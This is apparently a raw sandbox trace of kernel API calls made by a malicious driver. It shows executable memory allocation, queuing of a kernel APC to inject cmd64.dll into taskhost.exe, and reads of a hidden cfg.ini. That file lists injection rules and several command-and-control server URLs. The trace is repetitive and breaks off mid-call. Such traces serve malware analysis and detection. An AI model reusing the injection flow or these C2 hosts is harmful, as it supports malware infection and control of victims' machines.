0xfffffa8003b1b330 [0113.676] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.676] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.676] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.676] IdePortDispatch () returned 0x103 [0113.676] KeWaitForMutexObject () returned 0x0 [0113.676] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.676] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.676] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.676] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.676] IdePortDispatch () returned 0x103 [0113.676] KeWaitForMutexObject () returned 0x0 [0113.676] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.676] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.676] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.676] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.676] IdePortDispatch () returned 0x103 [0113.676] KeWaitForMutexObject () returned 0x0 [0113.677] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.677] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.677] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.677] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.677] IdePortDispatch () returned 0x103 [0113.677] KeWaitForMutexObject () returned 0x0 [0113.677] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.677] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.677] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.677] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0113.677] IdePortDispatch () returned 0x103 [0113.677] KeWaitForMutexObject () returned 0x0 [0113.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.677] KeLeaveCriticalRegion () [0113.677] IofCompleteRequest (Irp=0xfffffa800393ec30, PriorityBoost=0) [0113.677] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800005b0, BaseAddress=0xfffff88002f8fae0, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae0*=0x10000, RegionSize=0xfffff88002f8f9f0*=0x14000) returned 0x0 [0113.678] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0113.678] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f8fad8 | out: Size=0xfffff88002f8fad8) returned 0x0 [0113.678] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800005b0, BaseAddress=0xfffff88002f8fae8, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae8*=0x40000, RegionSize=0xfffff88002f8f9f8*=0x1000) returned 0x0 [0113.678] _snprintf (in: _Dest=0x40020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0113.678] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa8003b5d780 [0113.678] KeInitializeApc (Apc=0xfffffa8003b5d780, Thread=0xfffffa8003aa1630, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x40128, Mode=0xfffff88000000001, Context=0x40000) [0113.678] KeInsertQueueApc (Apc=0xfffffa8003b5d780, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0113.678] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0113.678] ZwClose (Handle=0x14) returned 0x0 [0113.678] ZwClose (Handle=0xffffffff800006b4) returned 0x0 [0113.678] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0113.678] KeEnterCriticalRegion () [0113.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.678] IoGetRequestorProcess (Irp=0xfffffa800393ec30) returned 0xfffffa80018ab040 [0113.678] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa8002a30140, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0113.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.678] KeLeaveCriticalRegion () [0113.678] IofCompleteRequest (Irp=0xfffffa800393ec30, PriorityBoost=0) [0113.678] KeUnstackDetachProcess (ApcState=0xfffff88002f8fa58) [0113.678] PsGetProcessImageFileName () returned 0xfffffa8003aa1e10 [0113.678] _snprintf (in: _Dest=0xfffffa8003b69938, _Count=0x103, _Format="%s (x64)" | out: _Dest="taskhost.exe (x64)") returned 18 [0113.678] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0113.678] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff800006b4, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0113.678] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0113.678] KeEnterCriticalRegion () [0113.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.678] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.678] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.678] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.678] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0113.678] IdePortDispatch () returned 0x103 [0113.678] KeWaitForMutexObject () returned 0x0 [0113.679] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0113.679] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0113.679] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0113.679] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0113.679] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0113.679] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800bc42d90 [0113.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.679] KeLeaveCriticalRegion () [0113.679] IofCompleteRequest (Irp=0xfffffa800393ec30, PriorityBoost=0) [0113.679] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0113.679] NtLockFile (in: FileHandle=0xffffffff800006b4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0113.679] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0113.679] KeEnterCriticalRegion () [0113.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.679] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa800393ec30, Context=0x0) returned 0x0 [0113.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.679] KeLeaveCriticalRegion () [0113.679] ZwQueryInformationFile (in: FileHandle=0xffffffff800006b4, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0113.679] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0113.679] KeEnterCriticalRegion () [0113.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.679] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.679] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.679] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.679] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0113.679] IdePortDispatch () returned 0x103 [0113.679] KeWaitForMutexObject () returned 0x0 [0113.679] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0113.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.679] KeLeaveCriticalRegion () [0113.679] IofCompleteRequest (Irp=0xfffffa800393ec30, PriorityBoost=0) [0113.679] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a001a90d80 [0113.679] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0113.679] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0113.679] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="taskhost.exe (x64)=") returned 19 [0113.680] _strlwr (in: _Str="taskhost.exe (x64)=" | out: _Str="taskhost.exe (x64)=") returned="taskhost.exe (x64)=" [0113.680] ZwReadFile (in: FileHandle=0xffffffff800006b4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a001a90d80, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a001a90d80*) returned 0x0 [0113.680] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0113.680] KeEnterCriticalRegion () [0113.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.680] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c45d80 [0113.680] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.680] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b1a830 [0113.680] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b1a830, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b1a830) [0113.680] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0113.680] IdePortDispatch () returned 0x103 [0113.680] KeWaitForMutexObject () returned 0x0 [0113.680] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0113.680] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.680] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b1a830 [0113.680] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b1a830, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b1a830) [0113.680] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0113.680] IdePortDispatch () returned 0x103 [0113.680] KeWaitForMutexObject () returned 0x0 [0113.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.680] KeLeaveCriticalRegion () [0113.680] IofCompleteRequest (Irp=0xfffffa800393ec30, PriorityBoost=0) [0113.680] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0113.680] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="taskhost.exe (x64)=") returned 0x0 [0113.680] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0113.680] ExFreePoolWithTag (P=0xfffff8a001a90d80, Tag=0x0) [0113.680] ZwClose (Handle=0xffffffff800006b4) returned 0x0 [0113.680] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0113.680] KeEnterCriticalRegion () [0113.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.680] IoGetRequestorProcess (Irp=0xfffffa800393ec30) returned 0xfffffa80018ab040 [0113.681] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80071fa1a0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0113.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.681] KeLeaveCriticalRegion () [0113.681] IofCompleteRequest (Irp=0xfffffa800393ec30, PriorityBoost=0) [0113.681] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0113.681] KeEnterCriticalRegion () [0113.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.681] ExFreePoolWithTag (P=0xfffffa800bc42d90, Tag=0x0) [0113.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.681] KeLeaveCriticalRegion () [0113.681] IofCompleteRequest (Irp=0xfffffa800393ec30, PriorityBoost=0) [0113.681] ZwClose (Handle=0xffffffff800005b0) returned 0x0 [0113.681] KeSetEvent (in: Event=0xfffffa8003b69610, Increment=0x0, Wait=0 | out: Event=0xfffffa8003b69610) returned 0 [0116.726] ZwOpenProcess (in: ProcessHandle=0xfffff88002f8fb70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f8fb30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f8fb20*(UniqueProcess=0x348, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f8fb70*=0xffffffff800006b4) returned 0x0 [0116.726] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0116.726] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff800006b8, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0116.726] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.726] KeEnterCriticalRegion () [0116.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.726] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0116.726] IdePortDispatch () returned 0x103 [0116.726] KeWaitForMutexObject () returned 0x0 [0116.727] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.727] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.727] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.727] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.727] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.727] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d7600 [0116.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.727] KeLeaveCriticalRegion () [0116.727] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.727] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0116.727] NtLockFile (in: FileHandle=0xffffffff800006b8, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0116.727] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.727] KeEnterCriticalRegion () [0116.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.727] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.727] KeLeaveCriticalRegion () [0116.727] ZwQueryInformationFile (in: FileHandle=0xffffffff800006b8, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0116.727] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.727] KeEnterCriticalRegion () [0116.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.727] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.727] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.727] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.727] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0116.727] IdePortDispatch () returned 0x103 [0116.727] KeWaitForMutexObject () returned 0x0 [0116.728] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.728] KeLeaveCriticalRegion () [0116.728] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.728] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a001a8e8b0 [0116.728] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0116.728] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0116.728] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0116.728] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0116.728] ZwReadFile (in: FileHandle=0xffffffff800006b8, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a001a8e8b0, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a001a8e8b0*) returned 0x0 [0116.728] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.728] KeEnterCriticalRegion () [0116.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.728] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800352b8b0 [0116.728] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.728] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.728] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.728] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0116.728] IdePortDispatch () returned 0x103 [0116.728] KeWaitForMutexObject () returned 0x0 [0116.728] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.728] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.728] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.728] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.728] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0116.728] IdePortDispatch () returned 0x103 [0116.728] KeWaitForMutexObject () returned 0x0 [0116.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.728] KeLeaveCriticalRegion () [0116.729] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.729] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", 